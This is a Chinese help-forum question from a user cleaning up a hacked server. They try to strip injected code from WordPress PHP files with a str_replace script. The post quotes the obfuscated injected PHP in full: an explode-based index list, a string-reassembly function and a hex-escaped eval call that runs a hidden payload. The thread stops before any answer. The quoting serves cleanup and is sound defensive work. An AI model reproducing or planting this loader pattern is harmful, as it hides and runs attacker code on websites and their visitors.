我的服务器获取恶意软件，在每个php文件中插入了一堆行代码，现在我想使用脚本删除它。所以最初我试图在一个文件中找到并替换，之后我将尝试所有的php文件。
<?php
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$mrvphzdexz = explode(chr((205-161)),'8660,38,4858,43,7465,40,4822,36,2103,55,110,61,5905,24,7852,38,5828,27,6847,35,2874,70,8962,34,5476,23,3943,35,4777,45,5691,35,1721,47,171,55,2513,70,49,61,9608,24,9938,62,9820,34,5929,53,5395,45,373,39,3368,28,921,48,7810,42,507,21,2180,38,9632,38,1768,47,6937,62,1044,30,3009,59,9384,64,7404,61,8045,28,5781,22,4170,59,4709,68,2730,63,6564,62,9058,43,9727,45,2434,46,4128,42,6806,41,8150,58,8698,62,6173,46,6037,57,7151,21,3978,23,2158,22,4658,51,5243,47,9194,37,4229,63,9034,24,3288,22,6718,38,8073,50,7505,48,7596,58,7705,40,5982,55,1548,51,7745,24,1074,68,2081,22,9101,23,6882,30,5566,56,7553,43,3573,70,5134,49,866,26,7255,61,969,41,561,37,3534,39,6626,56,8123,27,2698,32,9231,52,6467,64,4387,49,4292,43,2480,33,4469,21,1815,43,8907,55,1212,49,8416,43,5726,35,2018,63,5499,67,5622,32,412,34,2218,42,4058,70,8796,46,686,48,3663,43,9502,21,9548,60,10051,55,10000,51,7769,41,7316,68,1652,69,9320,64,8004,41,5183,60,2583,41,2678,20,2260,63,6256,68,8250,66,762,56,4335,52,9854,23,3762,65,1858,28,3422,54,8886,21,6219,37,3396,26,9283,37,1261,66,9877,61,1010,34,1927,21,3889,54,1461,23,5761,20,1599,53,656,30,4490,54,4544,36,6756,50,6324,24,9772,48,8316,56,8595,65,7199,56,3264,24,7890,46,7384,20,4436,33,5803,25,6348,65,4030,28,1886,41,8842,44,5290,47,818,48,8208,42,1142,70,446,61,6531,33,8459,43,9124,70,6682,36,2793,37,3211,53,6120,53,2830,44,3643,20,5337,58,3476,58,1391,70,6413,54,7172,27,9523,25,3333,35,6912,25,3157,54,7654,51,3731,31,6094,26,5440,36,226,35,2624,54,7936,68,1948,40,3310,23,3857,32,4901,69,3090,67,2412,22,3706,25,1484,64,4001,29,3068,22,5855,50,892,29,5035,53,8996,38,5654,37,9670,57,1327,64,528,33,7067,47,7114,37,8560,35,598,58,4970,65,8760,36,2944,65,261,67,3827,30,8502,58,5088,33,328,45,734,28,4635,23,9448,54,4580,55,8372,44,0,49,2323,45,6999,68,1988,30,2368,44,5121,13'); $wtnsmruwng=substr($udpyrtpnkn,(48065-37959),(24-17)); if (!function_exists('rczvdpjblj')) { function rczvdpjblj($syascgyczg, $weichsdvue) { $lilckbfxmb = NULL; for($xoosaeyubj=0;$xoosaeyubj<(sizeof($syascgyczg)/2);$xoosaeyubj++) { $lilckbfxmb .= substr($weichsdvue, $syascgyczg[($xoosaeyubj*2)],$syascgyczg[($xoosaeyubj*2)+1]); } return $lilckbfxmb; };} $jmmhxfkfmg=\"\x20\57\x2a\40\x67\146\x6b\170\x62\156\x62\144\x6d\170\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\61\x31\55\x31\67\x34\51\x29\54\x20\143\x68\162\x28\50\x33\61\x33\55\x32\62\x31\51\x29\54\x20\162\x63\172\x76\144\x70\152\x62\154\x6a\50\x24\155\x72\166\x70\150\x7a\144\x65\170\x7a\54\x24\165\x64\160\x79\162\x74\160\x6e\153\x6e\51\x29\51\x3b\40\x2f\52\x20\153\x62\154\x6e\167\x7a\161\x71\147\x6b\40\x2a\57\x20\"; $yofbztmjsc=substr($udpyrtpnkn,(68058-57945),(58-46)); $yofbztmjsc($wtnsmruwng, $jmmhxfkfmg, NULL); $yofbztmjsc=$jmmhxfkfmg; $yofbztmjsc=(449-328); $udpyrtpnkn=$yofbztmjsc-1;";
$deletedFormat = "";
//read the entire string
$str=file_get_contents('wp-load.php');
//replace something in the file string - this is a VERY simple example
$str=str_replace("$oldMessage", "$deletedFormat", $str);
file_put_contents('wp-load.php', $str);
?>
但是这给了我错误，任何人都可以提出建议如何做到这一点并删除这个恶意软件？
答案 0 :(得分：1)